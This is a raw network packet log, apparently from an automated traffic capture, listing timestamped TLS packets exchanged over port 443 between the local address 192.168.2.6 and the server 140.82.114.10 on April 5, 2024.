Apr 5, 2024 20:10:29.860486984 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.860496044 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.860508919 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.860529900 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.860544920 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.860557079 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.860560894 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.860573053 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.860582113 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.860603094 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.860615969 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.860620022 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.860630989 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.860637903 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.860651016 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.860672951 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.860676050 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.860701084 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.860723019 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.860733032 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.860750914 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.860785961 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.860800982 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.860809088 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.860809088 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.860814095 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.860863924 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.860877037 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.860891104 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.860917091 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.860933065 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.860938072 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.860938072 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.860944033 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.860964060 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.860986948 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.861010075 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.861012936 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.861032963 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.861037016 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.861051083 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.861087084 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.861090899 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.861105919 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.861120939 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.861136913 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.861196041 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.861207962 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.861207962 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.861215115 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.861223936 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.861253977 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.861253977 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.861259937 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.861272097 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.861283064 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.861287117 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.861293077 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.861298084 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.861340046 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.861341953 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.861361027 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.861363888 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.861386061 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.861390114 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.861404896 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.861439943 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.861443043 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.861458063 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.861460924 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.861474037 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.861529112 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.861542940 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.861555099 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.861558914 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.861568928 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.861588001 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.861604929 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.861615896 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.861618996 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.861640930 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.861645937 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.861655951 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.861691952 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.861696005 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.861711025 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.861713886 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.861737013 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.861764908 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.861768961 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.861778021 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.861792088 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.861792088 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.861849070 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.861856937 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.861856937 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.861860991 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.861874104 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.861896038 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.861912012 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.861946106 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.861949921 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.861960888 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.861974001 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.861982107 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.861994028 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.862014055 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.862020969 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.862025023 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.862040043 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.862063885 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.862077951 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.862091064 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.862112999 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.862116098 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.862128019 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.862143993 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.862148046 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.862184048 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.862188101 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.862195015 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.862210989 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.862216949 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.862246990 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.862256050 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.862263918 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.862277985 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.862327099 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.862340927 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.862355947 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.862360001 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.862374067 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.862396955 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.862411976 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.862415075 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.862421036 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.862452030 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.862471104 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.862487078 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.862509012 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.862513065 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.862525940 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.862534046 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.862534046 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.862540960 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.862577915 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.862598896 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.862602949 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.862628937 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.862644911 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.862657070 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.862674952 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.862679005 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.862698078 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.862715960 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.862724066 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.862745047 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.862747908 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.862762928 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.862772942 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.862790108 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.862826109 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.862838984 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.862842083 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.862842083 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.862848043 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.862868071 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.862896919 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.862909079 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.862911940 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.862940073 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.862948895 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.862967014 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.862998962 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.863003016 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.863022089 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.863024950 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.863038063 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.863095045 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.863096952 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.863096952 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.863106966 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.863116026 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.863141060 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.863157034 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.863184929 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.863188982 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.863220930 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.863224983 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.863251925 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.863255978 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.863265038 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.863285065 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.863289118 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.863316059 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.863317966 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.863348961 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.863353014 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.863387108 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.863389015 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.863403082 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.863419056 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.863423109 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.863434076 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.863440037 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.863461018 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.863470078 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.863470078 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.863475084 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.863512993 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.863534927 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.863535881 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.863542080 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.863560915 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.863565922 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.863575935 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.863626957 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.863631964 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.863631964 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.863636971 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.863650084 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.863672972 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.863678932 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.863692045 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.863706112 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.863739967 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.863739967 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.863744974 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.863765955 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.863780022 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.863801003 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.863809109 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.863812923 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.863838911 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.863857985 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.863868952 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.863868952 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.863876104 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.863909006 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.863923073 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.863934994 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.863939047 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.863950014 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.863976955 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.863992929 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.864001989 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.864026070 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.864028931 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.864047050 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.864048958 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.864064932 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.864094019 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.864098072 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.864109993 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.864120007 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.864128113 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.864152908 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.864156008 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.864175081 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.864181995 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.864237070 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.864249945 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.864270926 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.864274025 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.864301920 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.864314079 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.864326954 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.864339113 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.864342928 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.864360094 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.864372969 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.864387035 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.864398956 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.864403009 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.864425898 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.864428043 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.864447117 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.864456892 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.864459991 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.864502907 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.864532948 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.864559889 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.864602089 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.864634037 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.864638090 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.864650965 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.864660025 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.864675045 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.864691019 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.864734888 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.864749908 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.864765882 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.864767075 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.864772081 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.864794016 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.864805937 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.864805937 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.864809990 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.864830971 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.864835024 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.864870071 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.864886999 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.864897966 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.864905119 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.864923954 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.864931107 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.864945889 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.864976883 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.864980936 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.865006924 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.865024090 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.865039110 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.865081072 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.865089893 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.865089893 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.865089893 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.865101099 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.865140915 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.865153074 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.865153074 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.865154982 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.865164995 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.865214109 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.865214109 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.865216017 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.865223885 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.865262985 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.865281105 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.865287066 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.865291119 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.865309954 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.865339041 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.865349054 CEST	443	49727	140.82.114.10	192.168.2.6
